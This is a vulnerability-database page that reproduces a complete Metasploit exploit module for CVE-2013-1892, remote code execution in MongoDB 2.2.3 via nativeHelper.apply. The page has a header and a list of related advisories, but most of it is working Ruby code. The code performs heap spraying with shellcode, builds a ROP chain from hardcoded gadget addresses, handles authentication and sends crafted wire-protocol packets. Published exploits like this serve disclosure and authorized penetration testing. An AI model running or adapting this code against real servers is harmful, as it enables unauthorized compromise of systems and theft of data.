Lucene search
K

MongoDB nativeHelper.apply Remote Code Execution

🗓️ 02 Apr 2013 00:00:00Reported by agixType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 78 Views

Exploiting MongoDB nativeHelper for Remote Code Execution on Linu

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MongoDB nativeHelper.apply Remote Code Execution Vulnerability
2 Apr 201300:00
zdt
Circl
CVE-2013-1892
8 Apr 201300:00
circl
Check Point Advisories
MongoDB nativeHelper.apply Remote Code Execution (CVE-2013-1892)
28 May 201300:00
checkpoint_advisories
CVE
CVE-2013-1892
1 Oct 201320:00
cve
Cvelist
CVE-2013-1892
1 Oct 201320:00
cvelist
Debian CVE
CVE-2013-1892
1 Oct 201320:00
debiancve
Exploit DB
MongoDB - nativeHelper.apply Remote Code Execution (Metasploit)
8 Apr 201300:00
exploitdb
Fedora
[SECURITY] Fedora 18 Update: mongodb-2.2.3-4.fc18
7 Apr 201300:32
fedora
Fedora
[SECURITY] Fedora 17 Update: mongodb-2.2.3-4.fc17
7 Apr 201300:43
fedora
Tenable Nessus
Fedora 17 : mongodb-2.2.3-4.fc17 (2013-4531)
8 Apr 201300:00
nessus
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',  
'Description' => %q{  
This module exploit a the nativeHelper feature from spiderMonkey which allows to  
to control execution by calling it wit specially crafted arguments. This module  
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.  
},  
'Author' =>  
[  
'agix' # @agixid # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-1892' ],  
[ 'OSVDB', '91632' ],  
[ 'BID', '58695' ],  
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]  
],  
'Platform' => 'linux',  
'Targets' =>  
[  
[ 'Linux - mongod 2.2.3 - 32bits',  
{  
'Arch' => ARCH_X86,  
'mmap' => [  
0x0816f768, # mmap64@plt # from mongod  
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod  
0x31337000,  
0x00002000,  
0x00000007,  
0x00000031,  
0xffffffff,  
0x00000000,  
0x00000000,  
0x0816e4c8, # memcpy@plt # from mongod  
0x31337000,  
0x31337000,  
0x0c0b0000,  
0x00002000  
],  
'ret' => 0x08055a70, # ret # from mongod  
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]  
# These gadgets need to be composed with bytes < 0x80  
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP  
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2  
'gadget4' => 0x08055a6c, # pop eax / ret  
'gadget5' => 0x08457158 # xchg esp,eax  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 24 2013',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(27017),  
OptString.new('DB', [ true, "Database to use", "admin"]),  
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),  
OptString.new('USERNAME', [ false, "Login to use", ""]),  
OptString.new('PASSWORD', [ false, "Password to use", ""])  
], self.class)  
end  
  
def exploit  
begin  
connect  
if require_auth?  
print_status("Mongo server #{datastore['RHOST']} use authentication...")  
if !datastore['USERNAME'] || !datastore['PASSWORD']  
disconnect  
fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")  
end  
if do_login==0  
disconnect  
fail_with(Exploit::Failure::NoAccess, "Authentication failed")  
end  
else  
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")  
end  
  
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""  
collection = datastore['COLLECTION']  
else  
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')  
if read_only?(collection)  
disconnect  
fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")  
else  
print_good("New document created in collection #{collection}")  
end  
end  
  
print_status("Let's exploit, heap spray could take some time...")  
my_target = target  
shellcode = Rex::Text.to_unescape(payload.encoded)  
mmap = my_target['mmap'].pack("V*")  
ret = [my_target['ret']].pack("V*")  
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"  
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))  
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))  
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))  
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))  
  
shellcode_var="a"+Rex::Text.rand_text_hex(4)  
sizechunk_var="b"+Rex::Text.rand_text_hex(4)  
chunk_var="c"+Rex::Text.rand_text_hex(4)  
i_var="d"+Rex::Text.rand_text_hex(4)  
array_var="e"+Rex::Text.rand_text_hex(4)  
  
ropchain_var="f"+Rex::Text.rand_text_hex(4)  
chunk2_var="g"+Rex::Text.rand_text_hex(4)  
array2_var="h"+Rex::Text.rand_text_hex(4)  
  
# nopsled + shellcode heapspray  
payload_js = shellcode_var+'=unescape("'+shellcode+'");'  
payload_js << sizechunk_var+'=0x1000;'  
payload_js << chunk_var+'="";'  
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '  
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'  
payload_js << array_var+'=new Array();'  
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '  
  
# retchain + ropchain heapspray  
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'  
payload_js << chunk2_var+'="";'  
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '  
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'  
payload_js << array2_var+'=new Array();'  
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '  
  
# Trigger and first ropchain  
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '  
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'  
  
request_id = Rex::Text.rand_text(4)  
  
packet = request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)  
packet << "\x00\x00\x00\x00" #flags  
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)  
packet << "\x00\x00\x00\x00" #numberToSkip (0)  
packet << "\x01\x00\x00\x00" #numberToReturn (1)  
  
where = "\x02\x24\x77\x68\x65\x72\x65\x00"  
where << [payload_js.length+4].pack("L")  
where << payload_js+"\x00"  
  
where.insert(0, [where.length + 4].pack("L"))  
  
packet += where  
packet.insert(0, [packet.length + 4].pack("L"))  
  
sock.put(packet)  
  
disconnect  
rescue ::Exception => e  
fail_with(Exploit::Failure::Unreachable, "Unable to connect")  
end  
end  
  
def require_auth?  
request_id = Rex::Text.rand_text(4)  
packet = "\x3f\x00\x00\x00" #messageLength (63)  
packet << request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)  
packet << "\x00\x00\x00\x00" #flags  
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)  
packet << "\x00\x00\x00\x00" #numberToSkip (0)  
packet << "\x01\x00\x00\x00" #numberToReturn (1)  
#query ({"listDatabases"=>1})  
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"  
  
sock.put(packet)  
response = sock.get_once  
  
have_auth_error?(response)  
end  
  
def read_only?(collection)  
request_id = Rex::Text.rand_text(4)  
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"  
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"  
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"  
  
insert = _id+key+[value.length].pack("L")+value+"\x00"  
  
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength  
packet << request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)  
packet << "\x00\x00\x00\x00" #flags  
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)  
packet << [insert.length+4].pack("L")  
packet << insert  
  
sock.put(packet)  
  
request_id = Rex::Text.rand_text(4)  
  
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)  
packet << request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)  
packet << "\x00\x00\x00\x00" #flags  
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)  
packet << "\x00\x00\x00\x00" #numberToSkip (0)  
packet << "\xff\xff\xff\xff" #numberToReturn (1)  
packet << "\x1b\x00\x00\x00"  
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"  
  
sock.put(packet)  
  
response = sock.get_once  
have_auth_error?(response)  
end  
  
def do_login  
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")  
nonce = get_nonce  
status = auth(nonce)  
return status  
end  
  
def auth(nonce)  
request_id = Rex::Text.rand_text(4)  
packet = request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)  
packet << "\x00\x00\x00\x00" #flags  
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)  
packet << "\x00\x00\x00\x00" #numberToSkip (0)  
packet << "\xff\xff\xff\xff" #numberToReturn (1)  
  
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}  
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"  
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"  
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination  
document << datastore['USERNAME'] + "\x00"  
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"  
document << nonce + "\x00"  
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"  
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"  
document << "\x00"  
#Calculate document length  
document.insert(0, [document.length + 4].pack("L"))  
  
packet += document  
  
#Calculate messageLength  
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength  
sock.put(packet)  
response = sock.get_once  
if have_auth_error?(response)  
print_error("Bad login or DB")  
return 0  
else  
print_good("Successful login on DB #{datastore['db']}")  
return 1  
end  
  
  
end  
  
def get_nonce  
request_id = Rex::Text.rand_text(4)  
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)  
packet << request_id #requestID  
packet << "\xff\xff\xff\xff" #responseTo  
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)  
packet << "\x00\x00\x00\x00" #flags  
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)  
packet << "\x00\x00\x00\x00" #numberToSkip (0)  
packet << "\x01\x00\x00\x00" #numberToReturn (1)  
#query {"getnonce"=>1.0}  
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"  
  
sock.put(packet)  
response = sock.get_once  
documents = response[36..1024]  
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}  
nonce = documents[15..30]  
end  
  
def have_auth_error?(response)  
#Response header 36 bytes long  
documents = response[36..1024]  
#{"errmsg"=>"auth fails", "ok"=>0.0}  
#{"errmsg"=>"need to login", "ok"=>0.0}  
if documents.include?('errmsg') || documents.include?('unauthorized')  
return true  
else  
return false  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation